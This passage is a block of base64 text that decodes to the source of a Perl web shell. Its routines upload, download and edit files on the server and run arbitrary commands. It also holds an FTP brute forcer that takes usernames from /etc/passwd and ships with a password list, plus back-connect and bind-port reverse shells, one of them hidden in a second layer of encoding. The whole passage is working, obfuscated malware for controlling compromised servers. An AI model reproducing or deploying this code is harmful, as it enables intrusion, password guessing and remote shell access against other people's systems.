gkkVGFyZ2V0RmlsZVNpemUgPSBsZW5ndGgoJGlueydmaWxlZGF0YSd9KTsNCgkjIGlmIHRoZSBmaWxlIGV4aXN0cyBhbmQgd2UgYXJlIG5vdCBzdXBwb3NlZCB0byBvdmVyd3JpdGUgaXQNCglpZigtZSAkVGFyZ2V0TmFtZSAmJiAkT3B0aW9ucyBuZSAib3ZlcndyaXRlIikNCgl7DQoJCSRyZXN1bHQgLj0gIkZhaWxlZDogRGVzdGluYXRpb24gZmlsZSBhbHJlYWR5IGV4aXN0cy48YnI%2BIjsNCgl9DQoJZWxzZSAjIGZpbGUgaXMgbm90IHByZXNlbnQNCgl7DQoJCWlmKG9wZW4oVVBMT0FERklMRSwgIj4kVGFyZ2V0TmFtZSIpKQ0KCQl7DQoJCQliaW5tb2RlKFVQTE9BREZJTEUpIGlmICRXaW5OVDsNCgkJCXByaW50IFVQTE9BREZJTEUgJGlueydmaWxlZGF0YSd9Ow0KCQkJY2xvc2UoVVBMT0FERklMRSk7DQoJCQkkcmVzdWx0IC49ICJUcmFuc2ZlcmVkICRUYXJnZXRGaWxlU2l6ZSBCeXRlcy48YnI%2BIjsNCgkJCSRyZXN1bHQgLj0gIkZpbGUgUGF0aDogJFRhcmdldE5hbWU8YnI%2BIjsNCgkJfQ0KCQllbHNlDQoJCXsNCgkJCSRyZXN1bHQgLj0gIkZhaWxlZDogJCE8YnI%2BIjsNCgkJfQ0KCX0NCgkkcmVzdWx0IC49ICZQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtOw0KCXJldHVybiAkcmVzdWx0Ow0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHdoZW4gdGhlIHVzZXIgd2FudHMgdG8gZG93bmxvYWQgYSBmaWxlLiBJZiB0aGUNCiMgZmlsZW5hbWUgaXMgbm90IHNwZWNpZmllZCwgaXQgZGlzcGxheXMgYSBmb3JtIGFsbG93aW5nIHRoZSB1c2VyIHRvIHNwZWNpZnkgYQ0KIyBmaWxlLCBvdGhlcndpc2UgaXQgZGlzcGxheXMgYSBtZXNzYWdlIHRvIHRoZSB1c2VyIGFuZCBwcm92aWRlcyBhIGxpbmsNCiMgdGhyb3VnaCAgd2hpY2ggdGhlIGZpbGUgY2FuIGJlIGRvd25sb2FkZWQuDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgRG93bmxvYWRGaWxlDQp7DQoJIyBpZiBubyBmaWxlIGlzIHNwZWNpZmllZCwgcHJpbnQgdGhlIGRvd25sb2FkIGZvcm0gYWdhaW4NCglpZigkVHJhbnNmZXJGaWxlIGVxICIiKQ0KCXsNCgkJJlByaW50UGFnZUhlYWRlcigiZiIpOw0KCQlyZXR1cm4gJlByaW50RmlsZURvd25sb2FkRm9ybTsNCgl9DQoJDQoJIyBnZXQgZnVsbHkgcXVhbGlmaWVkIHBhdGggb2YgdGhlIGZpbGUgdG8gYmUgZG93bmxvYWRlZA0KCWlmKCgkV2luTlQgJiAoJFRyYW5zZmVyRmlsZSA9fiBtL15cXHxeLjovKSkgfCAoISRXaW5OVCAmICgkVHJhbnNmZXJGaWxlID1%2BIG0vXlwvLykpKSAjIHBhdGggaXMgYWJzb2x1dGUNCgl7DQoJCSRUYXJnZXRGaWxlID0gJFRyYW5zZmVyRmlsZTsNCgl9DQoJZWxzZSAjIHBhdGggaXMgcmVsYXRpdmUNCgl7DQoJCWNob3AoJFRhcmdldEZpbGUpIGlmKCRUYXJnZXRGaWxlID0gJEN1cnJlbnREaXIpID1%2BIG0vW1xcXC9dJC87DQoJCSRUYXJnZXRGaWxlIC49ICRQYXRoU2VwLiRUcmFuc2ZlckZpbGU7DQoJfQ0KDQoJaWYoJE9wdGlvbnMgZXEgImdvIikgIyB3ZSBoYXZlIHRvIHNlbmQgdGhlIGZpbGUNCgl7DQoJCXJldHVybiAmU2VuZEZpbGVUb0Jyb3dzZXIoJFRhcmdldEZpbGUpOw0KCX0NCgllbHNlICMgd2UgaGF2ZSB0byBzZW5kIG9ubHkgdGhlIGxpbmsgcGFnZQ0KCXsNCgkJcmV0dXJuICZQcmludERvd25sb2FkTGlua1BhZ2UoJFRhcmdldEZpbGUpOw0KCX0NCn0NCg0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHRvIGV4ZWN1dGUgY29tbWFuZHMuIEl0IGRpc3BsYXlzIHRoZSBvdXRwdXQgb2YgdGhlDQojIGNvbW1hbmQgYW5kIGFsbG93cyB0aGUgdXNlciB0byBlbnRlciBhbm90aGVyIGNvbW1hbmQuIFRoZSBjaGFuZ2UgZGlyZWN0b3J5DQojIGNvbW1hbmQgaXMgaGFuZGxlZCBkaWZmZXJlbnRseS4gSW4gdGhpcyBjYXNlLCB0aGUgbmV3IGRpcmVjdG9yeSBpcyBzdG9yZWQgaW4NCiMgYW4gaW50ZXJuYWwgdmFyaWFibGUgYW5kIGlzIHVzZWQgZWFjaCB0aW1lIGEgY29tbWFuZCBoYXMgdG8gYmUgZXhlY3V0ZWQuIFRoZQ0KIyBvdXRwdXQgb2YgdGhlIGNoYW5nZSBkaXJlY3RvcnkgY29tbWFuZCBpcyBub3QgZGlzcGxheWVkIHRvIHRoZSB1c2Vycw0KIyB0aGVyZWZvcmUgZXJyb3IgbWVzc2FnZXMgY2Fubm90IGJlIGRpc3BsYXllZC4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBFeGVjdXRlQ29tbWFuZA0Kew0KCW15ICRyZXN1bHQ9IiI7DQoJaWYoJFJ1bkNvbW1hbmQgPX4gbS9eXHMqY2RccysoLispLykgIyBpdCBpcyBhIGNoYW5nZSBkaXIgY29tbWFuZA0KCXsNCgkJIyB3ZSBjaGFuZ2UgdGhlIGRpcmVjdG9yeSBpbnRlcm5hbGx5LiBUaGUgb3V0cHV0IG9mIHRoZQ0KCQkjIGNvbW1hbmQgaXMgbm90IGRpc3BsYXllZC4NCgkJJENvbW1hbmQgPSAiY2QgXCIkQ3VycmVudERpclwiIi4kQ21kU2VwLiJjZCAkMSIuJENtZFNlcC4kQ21kUHdkOw0KCQljaG9wKCRDdXJyZW50RGlyID0gYCRDb21tYW5kYCk7DQoJCSRyZXN1bHQgLj0gJlByaW50Q29tbWFuZExpbmVJbnB1dEZvcm07DQoNCgkJJHJlc3VsdCAuPSAiQ29tbWFuZDogPHJ1bj4kUnVuQ29tbWFuZCA8L3J1bj48YnI%2BPHRleHRhcmVhIGNvbHM9JyRjb2xzJyByb3dzPSckcm93cycgc3BlbGxjaGVjaz0nZmFsc2UnPiI7DQoJCSMgeHVhdCB0aG9uZyB0aW4ga2hpIGNodXllbiBkZW4gMSB0aHUgbXVjIG5hbyBkbyENCgkJJFJ1bkNvbW1hbmQ9ICRXaW5OVD8iZGlyIjoiZGlyIC1saWEiOw0KCQkkcmVzdWx0IC49ICZSdW5DbWQ7DQoJfWVsc2lmKCRSdW5Db21tYW5kID1%2BIG0vXlxzKmVkaXRccysoLispLykNCgl7DQoJCSRyZXN1bHQgLj0gICZTYXZlRmlsZUZvcm07DQoJfWVsc2UNCgl7DQoJCSRyZXN1bHQgLj0gJlByaW50Q29tbWFuZExpbmVJbnB1dEZvcm07DQoJCSRyZXN1bHQgLj0gIkNvbW1hbmQ6IDxydW4%2BJFJ1bkNvbW1hbmQ8L3J1bj48YnI%2BPHRleHRhcmVhIGlkPSdkYXRhJyBjb2xzPSckY29scycgcm93cz0nJHJvd3MnIHNwZWxsY2hlY2s9J2ZhbHNlJz4iOw0KCQkkcmVzdWx0IC49JlJ1bkNtZDsNCgl9DQoJJHJlc3VsdCAuPSAgIjwvdGV4dGFyZWE%2BIjsNCglyZXR1cm4gJHJlc3VsdDsNCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBydW4gY29tbWFuZA0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KDQpzdWIgUnVuQ21kDQp7DQoJbXkgJHJlc3VsdD0iIjsNCgkkQ29tbWFuZCA9ICJjZCBcIiRDdXJyZW50RGlyXCIiLiRDbWRTZXAuJFJ1bkNvbW1hbmQuJFJlZGlyZWN0b3I7DQoJaWYoISRXaW5OVCkNCgl7DQoJCSRTSUd7J0FMUk0nfSA9IFwmQ29tbWFuZFRpbWVvdXQ7DQoJCWFsYXJtKCRDb21tYW5kVGltZW91dER1cmF0aW9uKTsNCgl9DQoJaWYoJFNob3dEeW5hbWljT3V0cHV0KSAjIHNob3cgb3V0cHV0IGFzIGl0IGlzIGdlbmVyYXRlZA0KCXsNCgkJJHw9MTsNCgkJJENvbW1hbmQgLj0gIiB8IjsNCgkJb3BlbihDb21tYW5kT3V0cHV0LCAkQ29tbWFuZCk7DQoJCXdoaWxlKDxDb21tYW5kT3V0cHV0PikNCgkJew0KCQkJJF8gPX4gcy8oXG58XHJcbikkLy87DQoJCQkkcmVzdWx0IC49ICZIdG1sU3BlY2lhbENoYXJzKCIkX1xuIik7DQoJCX0NCgkJJHw9MDsNCgl9DQoJZWxzZSAjIHNob3cgb3V0cHV0IGFmdGVyIGNvbW1hbmQgY29tcGxldGVzDQoJew0KCQkkcmVzdWx0IC49ICZIdG1sU3BlY2lhbENoYXJzKCckQ29tbWFuZCcpOw0KCX0NCglpZighJFdpbk5UKQ0KCXsNCgkJYWxhcm0oMCk7DQoJfQ0KCXJldHVybiAkcmVzdWx0Ow0KfQ0KIz09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQ0KIyBGb3JtIFNhdmUgRmlsZSANCiM9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0NCnN1YiBTYXZlRmlsZUZvcm0NCnsNCglteSAkcmVzdWx0ID0iIjsNCglzdWJzdHIoJFJ1bkNvbW1hbmQsMCw1KT0iIjsNCglteSAkZmlsZT0mdHJpbSgkUnVuQ29tbWFuZCk7DQoJJHNhdmU9Jzxicj48aW5wdXQgbmFtZT0iYSIgdHlwZT0ic3VibWl0IiB2YWx1ZT0ic2F2ZSIgY2xhc3M9InN1Ym1pdCIgPic7DQoJJEZpbGU9JEN1cnJlbnREaXIuJFBhdGhTZXAuJFJ1bkNvbW1hbmQ7DQoJbXkgJGRpcj0iPHNwYW4gc3R5bGU9J2ZvbnQ6IDExcHQgVmVyZGFuYTsgZm9udC13ZWlnaHQ6IGJvbGQ7Jz4iLiZBZGRMaW5rRGlyKCJndWkiKS4iPC9zcGFuPiI7DQoJaWYoLXcgJEZpbGUpDQoJew0KCQkkcm93cz0iMjMiDQoJfWVsc2UNCgl7DQoJCSRtc2c9Ijxicj48Zm9udCBzdHlsZT0nZm9udDogMTVwdCBWZXJkYW5hOyBjb2xvcjogeWVsbG93OycgPiBQZXJtaXNzaW9uIGRlbmllZCE8Zm9udD48YnI%2BIjsNCgkJJHJvd3M9IjIwIg0KCX0NCgkkUHJvbXB0ID0gJFdpbk5UID8gIiRkaXIgPiAiIDogIjxmb250IGNvbG9yPScjRkZGRkZGJz5bYWRtaW5cQCRTZXJ2ZXJOYW1lICRkaXJdXCQ8L2ZvbnQ%2BICI7DQoJJHJlYWQ9KCRXaW5OVCk%2FInR5cGUiOiJsZXNzIjsNCgkkUnVuQ29tbWFuZCA9ICIkcmVhZCBcIiRSdW5Db21tYW5kXCIiOw0KCSRyZXN1bHQgLj0gIDw8RU5EOw0KCTxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPg0KDQoJPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZCIgdmFsdWU9IiRDdXJyZW50RGlyIj4NCgkkUHJvbXB0DQoJPGlucHV0IHR5cGU9InRleHQiIHNpemU9IjQwIiBuYW1lPSJjIj4NCgk8aW5wdXQgbmFtZT0icyIgY2xhc3M9InN1Ym1pdCIgdHlwZT0ic3VibWl0IiB2YWx1ZT0iRW50ZXIiPg0KCTxicj5Db21tYW5kOiA8cnVuPiAkUnVuQ29tbWFuZCA8L3J1bj4NCgk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJmaWxlIiB2YWx1ZT0iJGZpbGUiID4gJHNhdmUgPGJyPiAkbXNnDQoJPGJyPjx0ZXh0YXJlYSBpZD0iZGF0YSIgbmFtZT0iZGF0YSIgY29scz0iJGNvbHMiIHJvd3M9IiRyb3dzIiBzcGVsbGNoZWNrPSJmYWxzZSI%2BDQpFTkQNCgkNCgkkcmVzdWx0IC49ICZSdW5DbWQ7DQoJJHJlc3VsdCAuPSAgIjwvdGV4dGFyZWE%2BIjsNCgkkcmVzdWx0IC49ICAiPC9mb3JtPiI7DQoJcmV0dXJuICRyZXN1bHQ7DQp9DQojPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09DQojIFNhdmUgRmlsZQ0KIz09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQ0Kc3ViIFNhdmVGaWxlKCQpDQp7DQoJbXkgJERhdGE9IHNoaWZ0IDsNCglteSAkRmlsZT0gc2hpZnQ7DQoJJEZpbGU9JEN1cnJlbnREaXIuJFBhdGhTZXAuJEZpbGU7DQoJaWYob3BlbihGSUxFLCAiPiRGaWxlIikpDQoJew0KCQliaW5tb2RlIEZJTEU7DQoJCXByaW50IEZJTEUgJERhdGE7DQoJCWNsb3NlIEZJTEU7DQoJCXJldHVybiAxOw0KCX1lbHNlDQoJew0KCQlyZXR1cm4gMDsNCgl9DQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIEJydXRlIEZvcmNlciBGb3JtDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgQnJ1dGVGb3JjZXJGb3JtDQp7DQoJbXkgJHJlc3VsdD0iIjsNCgkkcmVzdWx0IC49IDw8RU5EOw0KDQo8dGFibGU%2BDQoNCjx0cj4NCjx0ZCBjb2xzcGFuPSIyIiBhbGlnbj0iY2VudGVyIj4NCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIzxicj4NClNpbXBsZSBGVFAgYnJ1dGUgZm9yY2VyPGJyPg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQo8Zm9ybSBuYW1lPSJmIiBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4NCg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImJydXRlZm9yY2VyIi8%2BDQo8L3RkPg0KPC90cj4NCjx0cj4NCjx0ZD5Vc2VyOjxicj48dGV4dGFyZWEgcm93cz0iMTgiIGNvbHM9IjMwIiBuYW1lPSJ1c2VyIj4NCkVORA0KY2hvcCgkcmVzdWx0IC49IGBsZXNzIC9ldGMvcGFzc3dkIHwgY3V0IC1kOiAtZjFgKTsNCiRyZXN1bHQgLj0gPDwnRU5EJzsNCjwvdGV4dGFyZWE%2BPC90ZD4NCjx0ZD4NCg0KUGFzczo8YnI%2BDQo8dGV4dGFyZWEgcm93cz0iMTgiIGNvbHM9IjMwIiBuYW1lPSJwYXNzIj4xMjNwYXNzDQoxMjMhQCMNCjEyM2FkbWluDQoxMjNhYmMNCjEyMzQ1NmFkbWluDQoxMjM0NTU0MzIxDQoxMjM0NDMyMQ0KcGFzczEyMw0KYWRtaW4NCmFkbWluY3ANCmFkbWluaXN0cmF0b3INCm1hdGtoYXUNCnBhc3NhZG1pbg0KcEBzc3dvcmQNCnBAc3N3MHJkDQpwYXNzd29yZA0KMTIzNDU2DQoxMjM0NTY3DQoxMjM0NTY3OA0KMTIzNDU2Nzg5DQoxMjM0NTY3ODkwDQoxMTExMTENCjAwMDAwMA0KMjIyMjIyDQozMzMzMzMNCjQ0NDQ0NA0KNTU1NTU1DQo2NjY2NjYNCjc3Nzc3Nw0KODg4ODg4DQo5OTk5OTkNCjEyMzEyMw0KMjM0MjM0DQozNDUzNDUNCjQ1NjQ1Ng0KNTY3NTY3DQo2Nzg2NzgNCjc4OTc4OQ0KMTIzMzIxDQo0NTY2NTQNCjY1NDMyMQ0KNzY1NDMyMQ0KODc2NTQzMjENCjk4NzY1NDMyMQ0KMDk4NzY1NDMyMQ0KYWRtaW4xMjMNCmFkbWluMTIzNDU2DQphYmNkZWYNCmFiY2FiYw0KIUAjIUAjDQohQCMkJV4NCiFAIyQlXiYqKA0KIUAjJCQjQCENCmFiYzEyMw0KYW5oeWV1ZW0NCmlsb3ZleW91PC90ZXh0YXJlYT4NCjwvdGQ%2BDQo8L3RyPg0KPHRyPg0KPHRkIGNvbHNwYW49IjIiIGFsaWduPSJjZW50ZXIiPg0KU2xlZXA6PHNlbGVjdCBuYW1lPSJzbGVlcCI%2BDQoNCjxvcHRpb24%2BMDwvb3B0aW9uPg0KPG9wdGlvbj4xPC9vcHRpb24%2BDQo8b3B0aW9uPjI8L29wdGlvbj4NCg0KPG9wdGlvbj4zPC9vcHRpb24%2BDQo8L3NlbGVjdD4gDQo8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0ic3VibWl0IiB2YWx1ZT0iQnJ1dGUgRm9yY2VyIi8%2BPC90ZD48L3RyPg0KPC9mb3JtPg0KPC90YWJsZT4NCkVORA0KcmV0dXJuICRyZXN1bHQ7DQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIEJydXRlIEZvcmNlcg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIEJydXRlRm9yY2VyDQp7DQoJbXkgJHJlc3VsdD0iIjsNCgkkU2VydmVyPSRFTlZ7J1NFUlZFUl9BRERSJ307DQoJaWYoJGlueyd1c2VyJ30gZXEgIiIpDQoJew0KCQkkcmVzdWx0IC49ICZCcnV0ZUZvcmNlckZvcm07DQoJfWVsc2UNCgl7DQoJCXVzZSBOZXQ6OkZUUDsgDQoJCUB1c2VyPSBzcGxpdCgvXG4vLCAkaW57J3VzZXInfSk7DQoJCUBwYXNzPSBzcGxpdCgvXG4vLCAkaW57J3Bhc3MnfSk7DQoJCWNob21wKEB1c2VyKTsNCgkJY2hvbXAoQHBhc3MpOw0KCQkkcmVzdWx0IC49ICI8YnI%2BPGJyPlsrXSBUcnlpbmcgYnJ1dGUgJFNlcnZlck5hbWU8YnI%2BPT09PT09PT09PT09PT09PT09PT0%2BPj4%2BPj4%2BPj4%2BPj48PDw8PDw8PDw8PT09PT09PT09PT09PT09PT09PT08YnI%2BPGJyPlxuIjsNCgkJZm9yZWFjaCAkdXNlcm5hbWUgKEB1c2VyKQ0KCQl7DQoJCQlpZighKCR1c2VybmFtZSBlcSAiIikpDQoJCQl7DQoJCQkJZm9yZWFjaCAkcGFzc3dvcmQgKEBwYXNzKQ0KCQkJCXsNCgkJCQkJJGZ0cCA9IE5ldDo6RlRQLT5uZXcoJFNlcnZlcikgb3IgZGllICJDb3VsZCBub3QgY29ubmVjdCB0byAkU2VydmVyTmFtZVxuIjsgDQoJCQkJCWlmKCRmdHAtPmxvZ2luKCIkdXNlcm5hbWUiLCIkcGFzc3dvcmQiKSkNCgkJCQkJew0KCQkJCQkJJHJlc3VsdCAuPSAiPGEgdGFyZ2V0PSdfYmxhbmsnIGhyZWY9J2Z0cDovLyR1c2VybmFtZTokcGFzc3dvcmRcQCRTZXJ2ZXInPlsrXSBmdHA6Ly8kdXNlcm5hbWU6JHBhc3N3b3JkXEAkU2VydmVyPC9hPjxicj5cbiI7DQoJCQkJCQkkZnRwLT5xdWl0KCk7DQoJCQkJCQlicmVhazsNCgkJCQkJfQ0KCQkJCQlpZighKCRpbnsnc2xlZXAnfSBlcSAiMCIpKQ0KCQkJCQl7DQoJCQkJCQlzbGVlcChpbnQoJGlueydzbGVlcCd9KSk7DQoJCQkJCX0NCgkJCQkJJGZ0cC0%2BcXVpdCgpOw0KCQkJCX0NCgkJCX0NCgkJfQ0KCQkkcmVzdWx0IC49ICJcbjxicj49PT09PT09PT09Pj4%2BPj4%2BPj4%2BPiBGaW5pc2hlZCA8PDw8PDw8PDw8PT09PT09PT09PTxicj5cbiI7DQoJfQ0KCXJldHVybiAkcmVzdWx0Ow0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBCYWNrY29ubmVjdCBGb3JtDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgQmFja0JpbmRGb3JtDQp7DQoJcmV0dXJuIDw8RU5EOw0KCTxicj48YnI%2BDQoNCgk8dGFibGU%2BDQoJPHRyPg0KCTxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPg0KCTx0ZD5CYWNrQ29ubmVjdDogPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImJhY2tiaW5kIj48L3RkPg0KCTx0ZD4gSG9zdDogPGlucHV0IHR5cGU9InRleHQiIHNpemU9IjIwIiBuYW1lPSJjbGllbnRhZGRyIiB2YWx1ZT0iJEVOVnsnUkVNT1RFX0FERFInfSI%2BDQoJIFBvcnQ6IDxpbnB1dCB0eXBlPSJ0ZXh0IiBzaXplPSI3IiBuYW1lPSJjbGllbnRwb3J0IiB2YWx1ZT0iODAiIG9ua2V5dXA9ImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdiYScpLmlubmVySFRNTD10aGlzLnZhbHVlOyI%2BPC90ZD4NCg0KCTx0ZD48aW5wdXQgbmFtZT0icyIgY2xhc3M9InN1Ym1pdCIgdHlwZT0ic3VibWl0IiBuYW1lPSJzdWJtaXQiIHZhbHVlPSJDb25uZWN0Ij48L3RkPg0KCTwvZm9ybT4NCgk8L3RyPg0KCTx0cj4NCgk8dGQgY29sc3Bhbj0zPjxmb250IGNvbG9yPSNGRkZGRkY%2BWytdIENsaWVudCBsaXN0ZW4gYmVmb3JlIGNvbm5lY3QgYmFjayENCgk8YnI%2BWytdIFRyeSBjaGVjayB5b3VyIFBvcnQgd2l0aCA8YSB0YXJnZXQ9Il9ibGFuayIgaHJlZj0iaHR0cDovL3d3dy5jYW55b3VzZWVtZS5vcmcvIj5odHRwOi8vd3d3LmNhbnlvdXNlZW1lLm9yZy88L2E%2BDQoJPGJyPlsrXSBDbGllbnQgbGlzdGVuIHdpdGggY29tbWFuZDogPHJ1bj5uYyAtdnYgLWwgLXAgPHNwYW4gaWQ9ImJhIj44MDwvc3Bhbj48L3J1bj48L2ZvbnQ%2BPC90ZD4NCg0KCTwvdHI%2BDQoJPC90YWJsZT4NCg0KCTxicj48YnI%2BDQoJPHRhYmxlPg0KCTx0cj4NCgk8Zm9ybSBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4NCgk8dGQ%2BQmluZCBQb3J0OiA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iYmFja2JpbmQiPjwvdGQ%2BDQoNCgk8dGQ%2BIFBvcnQ6IDxpbnB1dCB0eXBlPSJ0ZXh0IiBzaXplPSIxNSIgbmFtZT0iY2xpZW50cG9ydCIgdmFsdWU9IjE0MTIiIG9ua2V5dXA9ImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdiaScpLmlubmVySFRNTD10aGlzLnZhbHVlOyI%2BDQoNCgkgUGFzc3dvcmQ6IDxpbnB1dCB0eXBlPSJ0ZXh0IiBzaXplPSIxNSIgbmFtZT0iYmluZHBhc3MiIHZhbHVlPSJUSElFVUdJQUJVT04iPjwvdGQ%2BDQoJPHRkPjxpbnB1dCBuYW1lPSJzIiBjbGFzcz0ic3VibWl0IiB0eXBlPSJzdWJtaXQiIG5hbWU9InN1Ym1pdCIgdmFsdWU9IkJpbmQiPjwvdGQ%2BDQoJPC9mb3JtPg0KCTwvdHI%2BDQoJPHRyPg0KCTx0ZCBjb2xzcGFuPTM%2BPGZvbnQgY29sb3I9I0ZGRkZGRj5bK10gQ2h1YyBuYW5nIGNodWEgZGMgdGVzdCENCgk8YnI%2BWytdIFRyeSBjb21tYW5kOiA8cnVuPm5jICRFTlZ7J1NFUlZFUl9BRERSJ30gPHNwYW4gaWQ9ImJpIj4xNDEyPC9zcGFuPjwvcnVuPjwvZm9udD48L3RkPg0KDQoJPC90cj4NCgk8L3RhYmxlPjxicj4NCkVORA0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBCYWNrY29ubmVjdCB1c2UgcGVybA0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIEJhY2tCaW5kDQp7DQoJdXNlIE1JTUU6OkJhc2U2NDsNCgl1c2UgU29ja2V0OwkNCgkkYmFja3Blcmw9Ikl5RXZkWE55TDJKcGJpOXdaWEpzRFFwMWMyVWdTVTg2T2xOdlkydGxkRHNOQ2lSVGFHVnNiQWs5SUNJdlltbHVMMkpoYzJnaU93MEtKRUZTUjBNOVFFRlNSMVk3RFFwMWMyVWdVMjlqYTJWME93MEtkWE5sSUVacGJHVklZVzVrYkdVN0RRcHpiMk5yWlhRb1UwOURTMFZVTENCUVJsOUpUa1ZVTENCVFQwTkxYMU5VVWtWQlRTd2daMlYwY0hKdmRHOWllVzVoYldVb0luUmpjQ0lwS1NCdmNpQmthV1VnY0hKcGJuUWdJbHN0WFNCVmJtRmliR1VnZEc4Z1VtVnpiMngyWlNCSWIzTjBYRzRpT3cwS1kyOXVibVZqZENoVFQwTkxSVlFzSUhOdlkydGhaR1J5WDJsdUtDUkJVa2RXV3pGZExDQnBibVYwWDJGMGIyNG9KRUZTUjFaYk1GMHBLU2tnYjNJZ1pHbGxJSEJ5YVc1MElDSmJMVjBnVlc1aFlteGxJSFJ2SUVOdmJtNWxZM1FnU0c5emRGeHVJanNOQ25CeWFXNTBJQ0pEYjI1dVpXTjBaV1FoSWpzTkNsTlBRMHRGVkMwK1lYVjBiMlpzZFhOb0tDazdEUXB2Y0dWdUtGTlVSRWxPTENBaVBpWlRUME5MUlZRaUtUc05DbTl3Wlc0b1UxUkVUMVZVTENJK0psTlBRMHRGVkNJcE93MEtiM0JsYmloVFZFUkZVbElzSWo0bVUwOURTMFZVSWlrN0RRcHdjbWx1ZENBaUxTMDlQU0JEYjI1dVpXTjBaV1FnUW1GamEyUnZiM0lnUFQwdExTQWdYRzVjYmlJN0RRcHplWE4wWlcwb0luVnVjMlYwSUVoSlUxUkdTVXhGT3lCMWJuTmxkQ0JUUVZaRlNFbFRWQ0E3WldOb2J5QW5XeXRkSUZONWMzUmxiV2x1Wm04NklDYzdJSFZ1WVcxbElDMWhPMlZqYUc4N1pXTm9ieUFuV3l0ZElGVnpaWEpwYm1adk9pQW5PeUJwWkR0bFkyaHZPMlZqYUc4Z0oxc3JYU0JFYVhKbFkzUnZjbms2SUNjN0lIQjNaRHRsWTJodk95QmxZMmh2SUNkYksxMGdVMmhsYkd3NklDYzdKRk5vWld4c0lpazdEUXBqYkc5elpTQlRUME5MUlZRNyI7DQoJJGJpbmRwZXJsPSJJeUV2ZFhOeUwySnBiaTl3WlhKc0RRcDFjMlVnVTI5amEyVjBPdzBLSkVGU1IwTTlRRUZTUjFZN0RRb2tjRzl5ZEFr